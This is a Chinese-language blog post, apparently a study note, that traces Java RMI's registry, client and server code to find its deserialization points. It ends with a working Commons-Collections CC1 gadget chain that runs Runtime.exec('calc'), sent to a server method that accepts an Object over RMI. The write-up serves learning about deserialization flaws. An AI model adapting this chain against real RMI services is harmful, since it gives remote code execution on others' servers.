Java-RMI
参考:
http://www.mi1k7ea.com/2019/09/01/Java-RMI原理与使用/
https://xz.aliyun.com/t/9261#toc-4
https://www.bilibili.com/video/BV1L3411a7ax?p=2&vd_source=772372a8c6f216ba8975276dca04045e
RMI允许远程调用对象。RMI机制有一个服务端一个客户端,服务端创建注册中心,并绑定相应的对象,并给对象起一个名字,方便获取。客户端获取注册中心,通过注册中心使用给对象起的名字,可以定位到对象并调用。stub和skeleton实际上分别是一个代理
注册中心有一个固定的端口
分析
基本使用
一个继承了Remote的接口remObj:
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface remObj extends Remote {
void sayName(String name) throws RemoteException;
}
IRemoteObj接口的实现类remObjIml:
package org.example;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class remObjIml extends UnicastRemoteObject implements remObj {
protected remObjIml() throws RemoteException {
super();
}
@Override
public void sayName(String name) {
System.out.println(name);
}
}
服务端:
实例化一个接口实现类IRemoteObjIml的对象用于绑定到注册中心
实例化一个注册中心
把IRemoteObjIml的对象绑定到注册中心,并起一个名字
package org.example;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Main {
public static void main(String[] args) throws Exception{
remObjIml obj = new remObjIml();
//remObjIml stub = (remObjIml) UnicastRemoteObject.exportObject(obj,0);
Registry registry = LocateRegistry.createRegistry(12347);
registry.bind("theName",obj);
}
}
客户端:
通过ip和port得到注册中心,然后使用lookup找到要调用的对象
package org.example;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
// Press Shift twice to open the Search Everywhere dialog and type `show whitespaces`,
// then press Enter. You can now see whitespace characters in your code.
public class Main {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",12347);
remObj rObj = (remObj) registry.lookup("theName");
rObj.sayName("gr3");
}
}
调用过程
客户端请求注册中心-两处反序列化点
第一处:
LocateRegistry.getRegistry是通过参数本地创建stub,而registry.lookup是通过反序列化获取动态代理的对象,最后是通过这个动态代理执行方法
Registry registry = LocateRegistry.getRegistry("127.0.0.1",12346);//调试跟踪获取注册中心的逻辑
跟进getRegistry函数:
public static Registry getRegistry(String host, int port)
throws RemoteException
{
return getRegistry(host, port, null);
}
继续步入:
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;
if (port <= 0)
port = Registry.REGISTRY_PORT;
if (host == null || host.length() == 0) {
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
host = "";
}
}
the pregenerated stub class for RegistryImpl.
**/
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}
最终发现这里是createProxy创建了一个stub类对象,也就是这里的注册中心实际上是通过传入的ip和端口,在客户端又创建了一个对象
remObj rObj = (remObj) registry.lookup("theName");//调式跟踪获lookup的逻辑
我们知道在远程调用类时很可能是通过序列化、反序列化传输,而上面的getRegistry不是通过反序列化而是直接本地创建,现在看这里的lookup获取键对应的类是怎样实现的
registry变量实际上是一个RegistryImpl_Stub类的对象
RegistryImpl_Stub.lookup函数我们可以看到反序列化的点
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();//反序列化获取动态代理
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
第二处:
RegistryImpl_Stub.lookup的super.ref.invoke(var2);--->jrmp攻击
super.ref.invoke(var2)->unicastRef.invoke->call.executeCall()->StreamRemoteCall.executeCall->readObject
其中StreamRemoteCall.executeCall有:
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}
客户端请求服务端
Registry registry = LocateRegistry.getRegistry("127.0.0.1",12346);
remObj rObj = (remObj) registry.lookup("theName");
rObj.sayName();//这里通过代理对象请求服务端执行方法
依然找反序列化点,rObj.sayName();这里下断点步入
第一处反序列化点:
RemoteObjectInvocationHandler.invokeRemoteMethod的ref.invoke((Remote)proxy,method,args,getMethodHash(method))
步入到UnicastRef.invoke,这个函数里面有代码:call.executeCall(),所以就是上面分析的lookup的第二处反序列化点
RemoteObjectInvocationHandler.invokeRemoteMethod->UnicastRef.invoke->call.executeCall()->StreamRemoteCall.executeCall->readObject
第二处反序列化点:
UnicastRef.invoke函数里面的代码:Object returnValue = unmarshalValue(rtype, in)
unmarshalValue检查调用方法返回值的类型,不满足所列条件就反序列化读取返回值:
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();
}
}
注册中心处理客户端请求
客户端通过一个字符串来注册中心找对应的对象,而这个字符串是序列化后传过去的,注册中心是反序列化还原这个字符串
现在的问题是在哪里打断点可以让注册中心处理请求时停下来(在寻找断点过程不太好找,要么自己跟逐一分析,要么去看开头说的b站那个视频大致了解后再自己跟去理解)
分析:
给LocateRegistry.getRegistry处打上断点,动态调试,走到RegistryImpl构造函数的setup
步入,因为exportObject是把对象发布出去,所以看到exportObject就跟进去看,看有没有处理请求的逻辑
步入transport.exportObject发现llisten(),看名字是监听相关的,跟进去看看
有新开线程,步入,看到它的run():
public void run() {
try {
executeAcceptLoop();
} finally {
try {
/*
* Only one accept loop is started per server
* socket, so after no more connections will be
* accepted, ensure that the server socket is no
* longer listening.
*/
serverSocket.close();
} catch (IOException e) {
}
}
}
进入executeAcceptLoop()函数,看到线程处
还是步入,看run():
public void run() {
Thread t = Thread.currentThread();
String name = t.getName();
try {
t.setName("RMI TCP Connection(" +
connectionCount.incrementAndGet() +
")-" + remoteHost);
AccessController.doPrivileged((PrivilegedAction<Void>)() -> {
run0();
return null;
}, NOPERMS_ACC);
} finally {
t.setName(name);
}
}
进入run0->handleMessages->serviceCall(call)->disp.dispatch(impl, call)
serviceCall(call)里面就是处理请求的逻辑,而dispatch函数里就有对传输字符串进行反序列化的逻辑,所以在disp.dispatch(impl, call)打一个断点,前面有个if判断可能会抛出异常导致到不了disp.dispatch(impl, call),所以if处打一个断点
现在调试运行服务端,客户端请求
发现target封装的stub有三个流程:RegistryImpl_Stub->DGCImpl_Stub->$Proxy
当target.stub=RegistryImpl_Stub,相应的逻辑是注册中心的操作
当target.stub=DGCImpl_Stub,相应的逻辑是DGC的操作,dgc是用来垃圾回收
当target.stub=$Proxy,那就是服务端通过代理的一些操作
我们的目的是看注册中心对客户端请求的处理,跟进对应的dispatch
步入oldDispatch->skel.dispatch
skel.dispatch:调试时知道传入skel.dispatch的op=2,也就是进入case 2,这里反序列化读取客户端传过来的字符串,这个字符串就是注册中心绑定对象时那个名称
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}
}
}
服务端处理客户端请求
客户端调用方法如果有参数值,参数值是序列化后传给服务端,所以服务端会反序列化得到这个参数值
动态调试分析,断点和上一个注册中心那里一样,只是stub为proxy时步入dispatch查看具体逻辑
需要注意的是,这里客户端调用的方法要给一个字符串参数,才可以走到反序列化
unmarshalValue(types[i], in):
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();//type是字符串类型,反序列化
}
}
dgc-分布式垃圾回收
调用一个类的静态变量会完成类的初始化,类的初始化会执行类中静态代码块
注意
RMI机制客户端调用远程对象方法,实际上是客户端发送请求到服务端,由服务端执行代码,并将代码执行的结果返回给客户端。所以上述客户端需要接收服务端返回的结果并打印。(也就是RMI远程调用的方法其实是由服务端执行的)
RMI调用过程使用网络传输,是通过序列化、反序列化进行的。
RMI是一个JVM远程调用另一个JVM的对象方法,服务端和客户端可以在两台不同的机器,也可以在同一机器的不同进程。
RMI利用
条件
1.被攻击的服务端有一个方法接收一个Object类型参数,这个参数客户端可控
2.服务端存在可以利用的pop链的包(如cc链依赖的包)
因为RMI调用就是通过序列化、反序列化的,所以在调用远程对象时会自动反序列化,这样cc链就有了触发的入口。
看到cc1链的利用代码:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
// Press Shift twice to open the Search Everywhere dialog and type `show whitespaces`,
// then press Enter. You can now see whitespace characters in your code.
public class cc1 {
public static void main(String[] args) throws Exception{
// Class c = Runtime.class;
// java.lang.reflect.Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
Object o = constructor.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("Object");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
o.writeObject(object);
}
public static void unserialize(String file) throws Exception{
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
}
}
可以看到这里我们是自己写了serialize和unserialize进行序列化、反序列化,而RMI调用已经给我们实现好了,所以我们在之前的基础上把之前的实现接口类加一个接收Object类型参数的方法来测试:
接口:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteObj extends Remote {
public String sale(String s) throws RemoteException;
public void test(Object o) throws RemoteException;
}
实现接口类:
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IRemoteObjIml extends UnicastRemoteObject implements IRemoteObj{//该接口实现类继承UnicastRemoteObject
protected IRemoteObjIml() throws RemoteException {
super();
}
@Override
public String sale(String s) throws RemoteException{
System.out.println(s);
return s;
}
public void test(Object o) throws RemoteException{
System.out.println("test反序列化:"+o);
}
}
那么修改payload,只需要在cc1的基础上加一个rmi调用,然后把要反序列化的类给到调用的test方法就可以了:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
Object o = constructor.newInstance(Override.class,mapProxy);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",12346);
IRemoteObj reobj = (IRemoteObj) registry.lookup("test");
reobj.test(o);
}
}
标签:RMI,java,return,import,new,序列化,class
From: https://www.cnblogs.com/q1stop/p/18570312